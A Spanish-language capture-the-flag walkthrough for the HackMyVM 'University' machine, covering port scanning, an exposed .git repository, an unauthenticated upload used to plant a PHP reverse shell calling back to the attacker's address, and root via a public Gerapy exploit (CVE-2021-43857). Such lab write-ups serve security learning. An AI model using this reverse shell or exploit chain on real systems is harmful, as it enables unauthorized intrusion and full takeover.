cd ~/blog

~/writeups/hmv/018-university.md

018 - University

easy Linux hmv 03-02-2024
Exposed .git repositoryFile upload auth bypass (RCE)sudo Gerapy 0.9.7 RCE (CVE-2021-43857)
hackmyvm.eu/machines/machine.php?vm=University

~1 min de lectura


Comenzamos con un escaneo general y específico de puertos:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.28
 nmap -sC -sV -p22,80 -oN 02-targeted.txt 192.168.1.28
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-03 18:47 -03
Nmap scan report for 192.168.1.28
Host is up (0.00035s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   3072 8e:ee:da:29:f1:ae:03:a5:c3:7e:45:84:c7:86:67:ce (RSA)
|   256 f8:1c:ef:96:7b:ae:74:21:6c:9f:06:9b:20:0a:d8:56 (ECDSA)
|_  256 19:fc:94:32:41:9d:43:6f:52:c5:ba:5a:f0:83:b4:5b (ED25519)
80/tcp open  http    nginx 1.18.0
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
| http-git:
|   192.168.1.28:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|     Remotes:
|_      https://github.com/rskoolrash/Online-Admission-System
|_http-server-header: nginx/1.18.0
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.70 seconds

Nmap detecta un repositorio .git expuesto que apunta al proyecto público Online-Admission-System en GitHub. Descargamos el código y lo analizamos. Encontramos que documents.php y fileupload.php no comprueban el inicio de sesión, lo que permite subir archivos sin autenticación. Subimos una reverse shell PHP a través de document.php:

<?php
    shell_exec("bash -c 'bash -i >& /dev/tcp/192.168.1.10/1234 0>&1'");
?>

La ejecutamos desde uno de los directorios de subida descubiertos en el código:

http://192.168.1.28/studentdoc/reverse_shell_v2.php

Ya con acceso como www-data, en /var/www/html encontramos un .sandra_secret con la contraseña del usuario sandra. Cambiamos a ese usuario con su y obtenemos la primera flag. Para la escalada, revisamos sudo -l:

sandra@university:~/gerapy$ sudo -l
sudo -l
Matching Defaults entries for sandra on university:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User sandra may run the following commands on university:
    (root) NOPASSWD: /usr/local/bin/gerapy

Gerapy es vulnerable a RCE (CVE-2021-43857), pero primero debemos arrancar el servicio e inicializarlo:

sandra@university:~$ sudo gerapy init
sandra@university:~/gerapy$ sudo gerapy migrate
sandra@university:~/gerapy$ sudo gerapy createsuperuser

Y lo lanzamos:

sandra@university:~/gerapy$ sudo gerapy runserver 0.0.0.0:8080

Desde nuestra máquina, descargamos el exploit:

 searchsploit gerapy
----------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                         |  Path
----------------------------------------------------------------------------------------------------------------------- ---------------------------------
Gerapy 0.9.7 - Remote Code Execution (RCE) (Authenticated)                                                             | python/remote/50640.py
----------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
 searchsploit -m 50640
  Exploit: Gerapy 0.9.7 - Remote Code Execution (RCE) (Authenticated)
      URL: https://www.exploit-db.com/exploits/50640
     Path: /usr/share/exploitdb/exploits/python/remote/50640.py
    Codes: CVE-2021-43857
 Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/wh01s17/Documentos/maquinas/hmv/01-easy/university/50640.py

Lo configuramos con las credenciales creadas y lo ejecutamos:

 python3 50640.py -t 192.168.28 -p 8080 -L 192.168.1.10 -P 9001

Obtenemos un error porque no existen proyectos, así que generamos uno en la víctima:

sandra@university:~/gerapy/projects$ sudo gerapy init

Al ejecutar de nuevo el exploit, obtenemos una shell con acceso root y capturamos la flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados